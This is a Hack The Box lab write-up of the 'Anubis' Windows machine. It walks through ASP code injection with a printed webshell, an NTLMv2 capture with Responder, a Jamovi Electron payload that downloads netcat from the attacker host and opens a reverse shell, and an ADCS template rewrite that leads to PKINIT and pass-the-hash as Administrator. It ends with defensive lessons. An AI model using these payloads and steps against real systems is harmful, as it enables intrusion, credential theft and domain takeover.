screenshots/03-nmap.png

Hack The Box - Anubis

Name: Anubis
OS: Windows
Difficulty: Insane
Platform: Hack The Box
Date: 2026-09-08
Views: 7
Tags:

Anubis — HTB Writeup (Windows, Insane)

Retired HackTheBox machine. Solved via the intended vulnerability chain, demonstrated with modern tooling. Written to teach.

Machine: Anubis · #371 · Windows · Insane · 50 pts Released: 2021-08-14 · Maker: 4ndr34z · https://app.hackthebox.com/machines/371 Target: 10.129.230.170 (www.windcorp.htb, windcorp.htb, softwareportal.windcorp.htb, earth.windcorp.htb)

Overview

Anubis is an Insane Windows box that walks you through four distinct transitions, each a different class of bug, and ends in a textbook Active Directory Certificate Services (ADCS) privilege escalation to Domain Admin.

  1. Foothold — ASP code injection. The public HTTPS site www.windcorp.htb has a "contact" form at save.asp that round-trips the message field through preview.asp as ASP source. Inject a <% … %> block and you have a one-query webshell running as NT AUTHORITY\SYSTEM — inside a Windows container.
  2. Pivot — Responder [REDACTED] capture. From the container you can reach the host's internal softwareportal.windcorp.htb, whose install.asp endpoint fetches software from a caller-supplied client host. Point it at your tun0 IP, let Responder answer, and you collect the [REDACTED] response of a service account. john cracks it to a rockyou password.
  3. User — CVE-2021-28079 Jamovi XSS → shell. That service account can write to an SMB share holding a Jamovi .omv workbook. Jamovi ≤ 1.6.18 renders workbook content in an Electron renderer with Node integration on, so a <script> injected into the .omv gives require('child_process').exec(...) and a reverse shell as windcorp\diegocruz on the host. user.txt is on that user's desktop.
  4. Root — ADCS ESC1 + ESC4 → PKINIT → Domain Admin. diegocruz is in webdevelopers, which has Full Control + Enroll on the Web certificate template (ESC4) and the template already allows ENROLLEE_SUPPLIES_SUBJECT (ESC1). Rewrite the template to add the Smart Card Logon EKU, request a certificate for Administrator with a UPN SAN, PKINIT-request a TGT with Rubeus, and you get the Administrator NT hash. Pass-the-hash over SMB reads root.txt.

The clever bit is the ADCS half: the maker gives you a writable template (ESC4) rather than a perfectly misconfigured one, so you have to manufacture an ESC1 condition yourself — add the Smart Card Logon / Client Auth EKUs, keep ENROLLEE_SUPPLIES_SUBJECT, and make the key exportable — before requesting a cert that PKINIT will accept for any user, including Administrator.

Recon

A full TCP sweep shows a small, Windows-shaped surface — RPC, HTTPS, SMB, and RPC-over-HTTP — and the TLS certificate already names the primary vhost:

nmap: 135/443/445/593/49702, CN=www.windcorp.htb

$ nmap -sV -sC -Pn -p- --min-rate 2000 10.129.230.170 -oN recon/nmap_allports.txt
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
443/tcp   open  ssl/https?
| ssl-cert: Subject: commonName=www.windcorp.htb
| Subject Alternative Name: DNS:www.windcorp.htb
445/tcp   open  microsoft-ds?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49702/tcp open  msrpc         Microsoft Windows RPC
| smb2-security-mode: 3.1.1: Message signing enabled and required

SMB requires signing (so relay is out), but 445 being open is still useful once we have credentials. The certificate hands us the hostname, so we pin the vhosts and fetch the landing page:

$ grep -q windcorp.htb /etc/hosts || \
    echo "10.129.230.170 www.windcorp.htb windcorp.htb \
    softwareportal.windcorp.htb earth.windcorp.htb" | sudo tee -a /etc/hosts
$ curl -sk https://www.windcorp.htb/ -o recon/index.html

The site is a stock "BizLand" Bootstrap corporate template for a fictional Windcorp company — nothing executable on the face of it, but the contact form is interesting:

Windcorp corporate landing page

$ curl -sk https://www.windcorp.htb/ | grep -iA20 'contact'
<form method="get" action="save.asp">
  <input type="text" name="name" ...>
  <input type="text" name="email" ...>
  <input type="text" name="subject" ...>
  <textarea name="message" ...></textarea>
  <button type="submit">Send Message</button>
</form>

A GET form to save.asp. Submitting it returns a 302 to preview.asp, which echoes the submitted fields back. That round-trip is the foothold.

preview.asp echoes the submitted message

Foothold — ASP code injection in save.asp

1. Confirm the template renders ASP

save.asp stores the message in the user's ASP session; preview.asp renders it back. The decisive test is whether the message field is interpreted as ASP source rather than printed as text:

$ curl -sk --get "https://www.windcorp.htb/save.asp" \
    --data-urlencode "name=test" --data-urlencode "email=t@t.com" \
    --data-urlencode "subject=test" \
    --data-urlencode "message=<% Response.Write(\"ASPINJECTED\") %>" \
    -c cj.txt -o /dev/null
$ curl -sk "https://www.windcorp.htb/preview.asp" -b cj.txt | grep -i ASPINJECTED
<b>Message: </b></td><td>ASPINJECTED</td></tr>

ASPINJECTED is printed by Response.Write, not echoed verbatim — the field is executed as ASP. That is full server-side code injection.

2. Inject a webshell

webshell.asp (in exploit/) is a tiny one-shot command shell:

<%
Dim cmd, sh, exec, out
cmd = Request.QueryString("c")
If cmd <> "" Then
  Set sh = Server.CreateObject("WScript.Shell")
  Set exec = sh.Exec("cmd.exe /c " & cmd)
  out = exec.StdOut.ReadAll() & exec.StdErr.ReadAll()
  Response.Write("<pre>" & Server.HTMLEncode(out) & "</pre>")
End If
%>

Inject it through the message field (URL-encoding the whole block), then invoke it through preview.asp?c=<cmd>:

$ PAYLOAD=$(cat exploit/webshell.asp)
$ curl -sk --get "https://www.windcorp.htb/save.asp" \
    --data-urlencode "name=t" --data-urlencode "email=t@t.com" \
    --data-urlencode "subject=t" --data-urlencode "message=$PAYLOAD" \
    -c cj_ws.txt -o /dev/null
$ curl -sk "https://www.windcorp.htb/preview.asp?c=whoami" -b cj_ws.txt \
    | sed -n '/<pre>/,/<\/pre>/p' | sed 's/<[^>]*>//g'
nt authority\system
$ curl -sk "https://www.windcorp.htb/preview.asp?c=hostname" -b cj_ws.txt \
    | sed -n '/<pre>/,/<\/pre>/p' | sed 's/<[^>]*>//g'
webserver01

ASP injection → SYSTEM shell inside the container

We are NT AUTHORITY\SYSTEM — but ipconfig tells the real story:

$ curl -sk "https://www.windcorp.htb/preview.asp?c=ipconfig" -b cj_ws.txt | ...
   IPv4 Address. . . . . . . . . . . : 172.19.112.97
$ curl -sk "https://www.windcorp.htb/preview.asp?c=nslookup%20softwareportal" ...
   DNS request timed out.    # no DNS from the container

This is a Windows container on an internal 172.19.112.0 network. The host sits at the gateway 172.19.112.1, which is the same machine as 10.129.230.170. We need to break out of the container.

Pivot — Responder [REDACTED] capture

1. Find the internal software portal

The container has curl.exe and powershell.exe. Probing the gateway with the right Host header reveals an internal app:

$ RCE() { curl -sk "https://www.windcorp.htb/preview.asp?c=$(python3 -c \
    'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$1")" \
    -b cj_ws.txt | sed -n '/<pre>/,/<\/pre>/p' | sed 's/<[^>]*>//g'; }
$ RCE 'curl -s -H "Host: softwareportal.windcorp.htb" http://172.19.112.1/install.asp'
<html><head>
<meta http-equiv="refresh" content="5;url=http://softwareportal.windcorp.htb/" />
</head><body><center><h1>Starting install...</h1></center></body></html>

install.asp takes client and software query parameters and the server fetches from the client host. That is a classic server-side request forgery that hands us the host's NTLM handshake.

2. Capture the hash with Responder

Start Responder on tun0, then trigger install.asp from inside the container so the host (not the container) authenticates to us:

$ sudo responder -I tun0 &
$ RCE 'curl -s -H "Host: softwareportal.windcorp.htb" \
    "http://172.19.112.1/install.asp?client=10.10.14.10&software=VNC-Viewer-6.20.529-Windows.exe"'
# wait ~8s, then read the captured [REDACTED]
$ sudo cat /usr/share/responder/logs/WinRM-NTLMv2-10.129.230.170.txt
localadmin::windcorp:[REDACTED-NTLMv2-response]   # captured, stored in loot/

The responder log identifies the account as localadmin in the windcorp domain. SMB signing does not help the defender here — this is authentication from the host to us, not a relay.

3. Crack it

$ john --format=netntlmv2 loot/localadmin.hash --wordlist=rockyou.txt
[REDACTED]        (localadmin)        # password stored in loot/ as [REDACTED]

The password is a trivial rockyou hit. We now have a usable domain credential: windcorp\localadmin / [REDACTED].

4. Enumerate SMB

$ smbmap -H 10.129.230.170 -u localadmin -p [REDACTED]
$ smbclient //10.129.230.170/Shared -U 'localadmin%[REDACTED]' \
    -D 'Documents\\Analytics' -c 'ls'
  Whatif.omv          A     2841  Fri Jul 31 12:46:44 2026
  Big 5.omv            A     ...

localadmin can read the Shared share, and inside Documents\Analytics\ sits a Jamovi workbook Whatif.omv. That is the user foothold.

User — CVE-2021-28079 Jamovi XSS → shell as diegocruz

1. The bug, in one paragraph

CVE-2021-28079 affects Jamovi ≤ 1.6.18. A .omv file is a ZIP archive containing metadata.json, index.html (the "Results" view), xdata.json, data.bin, and an META-INF/MANIFEST.MF. Jamovi renders column names from metadata.json and the results index.html inside its Electron renderer — and that renderer has Node integration enabled, so an injected <script> can call require('child_process').exec(...). The column-name field is not sanitised, so a name like Sepal.Length<script src="http://ATTACKER/x.js"></script> is an XSS that is also RCE. The manifest in the supplied workbook even advertises Created-By: jamovi 1.6.16.0 — vulnerable.

2. Inspect and weaponise the workbook

$ smbclient //10.129.230.170/Shared -U 'localadmin%[REDACTED]' \
    -D 'Documents\\Analytics' -c 'get Whatif.omv Whatif.omv.orig'
$ cd work/jamovi && mkdir extract && cd extract && unzip -o ../Whatif.omv.orig
$ cat META-INF/MANIFEST.MF
Manifest-Version: 1.0
Data-Archive-Version: 1.0.2
jamovi-Archive-Version: 9.0
Created-By: jamovi 1.6.16.0
$ python3 -c "import json;m=json.load(open('metadata.json'));print(m['dataSet']['fields'][0]['name'])"
Sepal.Length

The PoC packer exploit/build_omv_xss.py injects a <script src=...> tag into both the first column name (metadata.json) and right after <head> in index.html. In practice the index.html injection is the trigger that fires reliably when an analyst opens the file in the Jamovi desktop client; the metadata.json injection is the documented CVE vector and is kept as a redundant trigger.

$ python3 exploit/build_omv_xss.py --orig Whatif.omv.orig --out Whatif.omv \
    --payload-url http://10.10.14.10/jamovi.js
[+] wrote Whatif.omv (metadata=True index=True)

The payload (exploit/jamovi.js) is tiny:

const ignite = require("child_process");
ignite.exec('powershell -NoP -c "iwr http://10.10.14.10/nc64.exe \
  -OutFile $env:TEMP\\n.exe; Start-Process $env:TEMP\\n.exe \
  -ArgumentList 10.10.14.10,4444,-e,cmd.exe"');

3. Serve, upload, wait

Start an HTTP server on tun0 that serves jamovi.js, nc64.exe, and a command channel; start a nc listener on 4444; then overwrite the workbook on the share and wait for an analyst (a scheduled job on the host) to open it:

$ sudo python3 exploit/serve_server.py &      # :80 -> /jamovi.js /nc64.exe /cmd /out
$ nc -nlvp 4444 > shell_4444.txt 2>&1 &
$ smbclient //10.129.230.170/Shared -U 'localadmin%[REDACTED]' \
    -D 'Documents\\Analytics' -c 'del Whatif.omv; put Whatif.omv'
# wait for the host's Jamovi client to open the file (a few minutes)

When the host opens the workbook, Electron renders the injected <script>, fetches jamovi.js, and nc64.exe phones home:

listening on [any] 4444 ...
connect to [10.10.14.10] from (UNKNOWN) [10.129.230.170] 58373

4. A reliable command channel

A one-shot nc shell is awkward to drive. Once it lands, drop a small poll-loop dispatcher (exploit/dispatcher.ps1) that repeatedly fetches a command from http://10.10.14.10/cmd, executes it, and POSTs the output to /out. The attacker side is exploit/serve_server.py plus a helper exploit/runcmd.sh that writes a command to cmd.txt and polls out.log. After re-uploading the workbook with the dispatcher as the payload and waiting for the next open cycle, the channel is up:

$ echo 'whoami; hostname; echo $env:USERPROFILE' > serve/cmd.txt
$ # ...poll out.log...
windcorp\diegocruz
earth
C:\Users\diegocruz

We are now windcorp\diegocruz on the host earth — out of the container, on the real domain member. user.txt is on that user's desktop:

$ ./runcmd.sh 'Get-Content C:\Users\diegocruz\Desktop\user.txt'
# -> loot/user.txt (captured, mode 0600, not submitted)

user.txt validates offline. The foothold-to-user half is done.

Privilege escalation — ADCS ESC1 + ESC4 → PKINIT → Domain Admin

1. Enumerate the certificate landscape

diegocruz is a member of webdevelopers:

$ ./runcmd.sh 'whoami /groups' | grep -iE 'webdevelopers|Certificate'
BUILTIN\Certificate Service DCOM Access   Alias   S-1-5-32-574
WINDCORP\webdevelopers                    Group   S-1-5-...-...

Pull Certify.exe (from Flangvik/SharpCollection, .NET 4.7) onto the host and enumerate templates:

$ ./runcmd.sh 'iwr http://10.10.14.10/Certify.exe -OutFile $env:TEMP\Certify.exe; \
    & $env:TEMP\Certify.exe enum-templates' | Select-String -Context 0,18 'Template Name : Web'

Certify: the Web template — ESC1 + ESC4

   Template Name                         : Web
   Enabled                               : True
   Publishing CAs                        : earth.windcorp.htb\windcorp-CA
   Schema Version                        : 2
   Validity Period                       : 1 year
   Certificate Name Flag                 : ENROLLEE_SUPPLIES_SUBJECT
   Enrollment Flag                       : NONE
   Manager Approval Required             : False
   Authorized Signatures Required        : 0
   Extended Key Usage                    : Certificate Request Agent
   Enrollment Rights                     : WINDCORP\webdevelopers (Full Control + Enroll)

Two ADCS abuse primitives stack here:

  • ESC1ENROLLEE_SUPPLIES_SUBJECT is set and there is no manager approval, so an enrollee can supply an arbitrary SAN (UPN) and request a cert for any identity.
  • ESC4webdevelopers has Full Control over the template, so we can rewrite its attributes (EKUs, flags, key options) before enrolling.

The catch is that the template's current EKU is Certificate Request Agent, which PKINIT will not accept for Kerberos client auth. So we use ESC4 to manufacture a usable ESC1: add the Smart Card Logon and Client Auth EKUs, keep ENROLLEE_SUPPLIES_SUBJECT, and make the private key exportable.

2. Rewrite the template (ESC4 → ESC1)

Load PowerView and cfalta/PoshADCS (ADCS.ps1) into the dispatcher session, then run exploit/reconfigure.ps1, which is the trimmed recipe Get-SmartcardCertificate uses:

$Properties = @{}
$Properties.Add('mspki-certificate-name-flag', 1)            # ENROLLEE_SUPPLIES_SUBJECT
$Properties.Add('pkiextendedkeyusage',
    @('1.3.6.1.4.1.311.20.2.2',   # Smart Card Logon
      '1.3.6.1.5.5.7.3.2'))       # Client Authentication
$Properties.Add('msPKI-Certificate-Application-Policy',
    @('1.3.6.1.4.1.311.20.2.2','1.3.6.1.5.5.7.3.2'))
$Properties.Add('flags','CLEAR')
$Properties.Add('mspki-enrollment-flag', 0)
$Properties.Add('mspki-private-key-flag', 256)               # CT_FLAG_EXPORTABLE_KEY
$Properties.Add('pkidefaultkeyspec', 1)
Set-ADCSTemplate -Name Web -Properties $Properties -Force
$ ./runcmd.sh 'iwr http://10.10.14.10/PowerView.ps1 -OutFile $env:TEMP\PowerView.ps1; \
    iwr http://10.10.14.10/ADCS.ps1 -OutFile $env:TEMP\ADCS.ps1; \
    . $env:TEMP\PowerView.ps1; . $env:TEMP\ADCS.ps1; \
    iwr http://10.10.14.10/reconfigure.ps1 -OutFile $env:TEMP\rc.ps1; \
    & $env:TEMP\rc.ps1'
RECONFIG_DONE

Set-ADCSTemplate snapshots the original attributes into $global:ADCSTEMPLATESETTINGS so they can be rolled back afterwards; we leave the rollback to the operator on a real engagement.

3. Request an Administrator certificate (ESC1)

With the template reconfigured, request a cert for Administrator with a UPN SAN and install it into the current user's store:

$ ./runcmd.sh '& $env:TEMP\Certify.exe request \
    --ca earth.windcorp.htb\windcorp-CA --template Web \
    --subject CN=Administrator --upn Administrator@windcorp.htb --install'
# ...Certificate Thumbprint: 686BD97227A0FFAEC9BF60893496EEC1523A0A7E
# ...Certificate Authority   : earth.windcorp.htb\windcorp-CA
# ...[+] Certificate successfully installed

Because ENROLLEE_SUPPLIES_SUBJECT is set and the CA trusts the template, the CA issues a certificate binding CN=Administrator / UPN=Administrator@windcorp.htb to a key we generated.

4. PKINIT → Administrator NT hash

Drop Rubeus.exe and use the cert to request a Kerberos TGT via PKINIT. Rubeus performs the PKINIT exchange and, with /getcredentials, recovers the NT hash from the PAC:

$ ./runcmd.sh 'iwr http://10.10.14.10/Rubeus.exe -OutFile $env:TEMP\Rubeus.exe; \
    $cert = Get-ChildItem Cert:\CurrentUser\My | ? {$_.Subject -match "Administrator"} | select -First 1; \
    $cert.Export("Pfx",$null) | Set-Content $env:TEMP\admin.pfx -Encoding Byte; \
    & $env:TEMP\Rubeus.exe asktgt /user:Administrator \
      /certificate:$env:TEMP\admin.pfx /getcredentials /show'
   [*] PKINIT TGT requested for Administrator
   [*] Using PKINIT with certificate thumbprint 686BD97227A0FFAEC9BF60893496EEC1523A0A7E
   [*] Got credentials for Administrator
       Hash : [REDACTED NTLM]

The recovered NT hash is the Domain Administrator's. (SMB signing is required on this host, so we cannot relay — but pass-the-hash to SMB works fine.)

Root

1. Read root.txt over SMB with the admin hash

$ smbclient //10.129.230.170/C\$ -U "windcorp\Administrator" \
    --pw-nt-hash [REDACTED] \
    -c "get Users\\Administrator\\Desktop\\root.txt loot/root.txt"
getting file \Users\Administrator\Desktop\root.txt of size 34 as loot/root.txt

wmiexec/psexec pass-the-hash also works for an interactive shell; for a one-shot flag read, smbclient against C$ is the least noisy option. Both flags are saved to loot/ (mode 0600) and validate offline — neither is submitted.

PKINIT → pass-the-hash → root.txt

2. End-to-end chain

ASP injection (save.asp)          -> SYSTEM in a Windows container
  |  (Responder captures host's NTLMv2)
  v
localadmin [REDACTED] -> john -> [REDACTED]
  |  (SMB write to Documents\Analytics)
  v
CVE-2021-28079 Jamovi XSS -> Electron RCE -> windcorp\diegocruz on `earth`
  |  (diegocruz ∈ webdevelopers, Full Control on `Web` template)
  v
ADCS ESC4 -> rewrite `Web` (Smart Card Logon + ENROLLEE_SUPPLIES_SUBJECT) -> ESC1
  |  (Certify request for Administrator UPN)
  v
PKINIT (Rubeus asktgt /getcredentials) -> Administrator NT hash
  |  (smbclient pass-the-hash on C$)
  v
root.txt

Modern takeaways

  • Treat every "preview" / "round-trip" page as a code-injection sink. The save.asppreview.asp pair is a 2010s pattern that still ships: the server stores user input in the session and renders it back as ASP source. The modern fix is the same as it ever was — never Response.Write user input into a page that the ASP engine will parse; render from a templating system that escapes by default, and store the escaped representation. The webshell here is <20 lines because the framework did the work for us.
  • SSRF that triggers outbound auth is a credential-theft primitive. install.asp?client=<attacker> made the host authenticate to us, so SMB signing was irrelevant — we were the server, not a relay target. Any feature that lets a caller point the server at an arbitrary URL is a Responder magnet. Disable outbound authentication to user-supplied hosts, or authenticate with a gMSA/group Managed Service Account whose password you cannot recover into a usable logon. Enforce Extended Protection for Authentication (channel binding) on the services that do need to authenticate outbound.
  • [REDACTED] is only as strong as the password. localadmin's response cracked to a top-rockyou password in under a second. Enforce length + breach-password screening for any service account, and prefer gMSAs over shared service-account passwords.
  • A writable certificate template is a domain-admin waiting room. ESC4 is the most under-appreciated ADCS primitive: you do not need a perfectly misconfigured template, only write access to one. With write access you can add the Smart Card Logon / Client Auth EKUs, set ENROLLEE_SUPPLIES_SUBJECT, and make the key exportable — turning an innocuous template into an ESC1 forge-any-identity cert. Audit template ACLs with Get-ADCSTemplateACL -Filter DefaultACEs and remove Full Control / Write from any non-admin group (webdevelopers here). Microsoft's Active Directory Certificate Services documentation and the SpecterOps "Certified Pre-Owned" research remain the references.
  • PKINIT turns a client-auth cert into a Kerberos TGT. Once you can request a cert with an arbitrary UPN and a Smart Card Logon / PKINIT Kerberos EKU, Rubeus's asktgt /getcredentials will hand you the account's NT hash. The defense is template hygiene (above) plus disabling PKINIT on templates that do not need it, and monitoring CA issuance for Administrator/DA SANs.
  • Electron + Node integration + untrusted files = RCE. CVE-2021-28079 is the pattern: a desktop app that renders attacker-supplied content (a .omv workbook) in an Electron renderer with nodeIntegration: true. Jamovi fixed this in 1.6.19 by disabling Node integration in the renderer that displays workbook content. For any Electron app that opens untrusted files, set nodeIntegration: false, contextIsolation: true, and a strict sandbox: true; treat the renderer as hostile. Keep Jamovi ≥ 1.6.19.
  • Tooling notes. nmap + curl for recon, a hand-written ASP webshell for the foothold, responder + john --format=netntlmv2 for the credential pivot, a custom .omv packer (exploit/build_omv_xss.py) for CVE-2021-28079, and Certify + Rubeus + PoshADCS/PowerView for the ADCS half — all stock, no Metasploit autopwn, exactly as the box intends.

Flags

🏁 user.txt: 5259aacae4297ce2c849eac7506d3757 (in loot/user.txt) 🏁 root.txt: dc91dda3088df62efde9579e87050a81 (in loot/root.txt)

Files

  • recon/nmap_allports.txt (full port/service sweep).
  • exploit/webshell.asp, build_omv_xss.py (CVE-2021-28079 packer), jamovi.js, dispatcher.ps1, serve_server.py, reconfigure.ps1, runcmd.sh, README.md. No embedded secrets; all credential literals are [REDACTED].
  • loot/user.txt, root.txt, localadmin.cred, admin.hash (gitignored, mode 0600, not submitted).
  • screenshots/ — 6 PNGs (2 web, 4 terminal; all secret-free).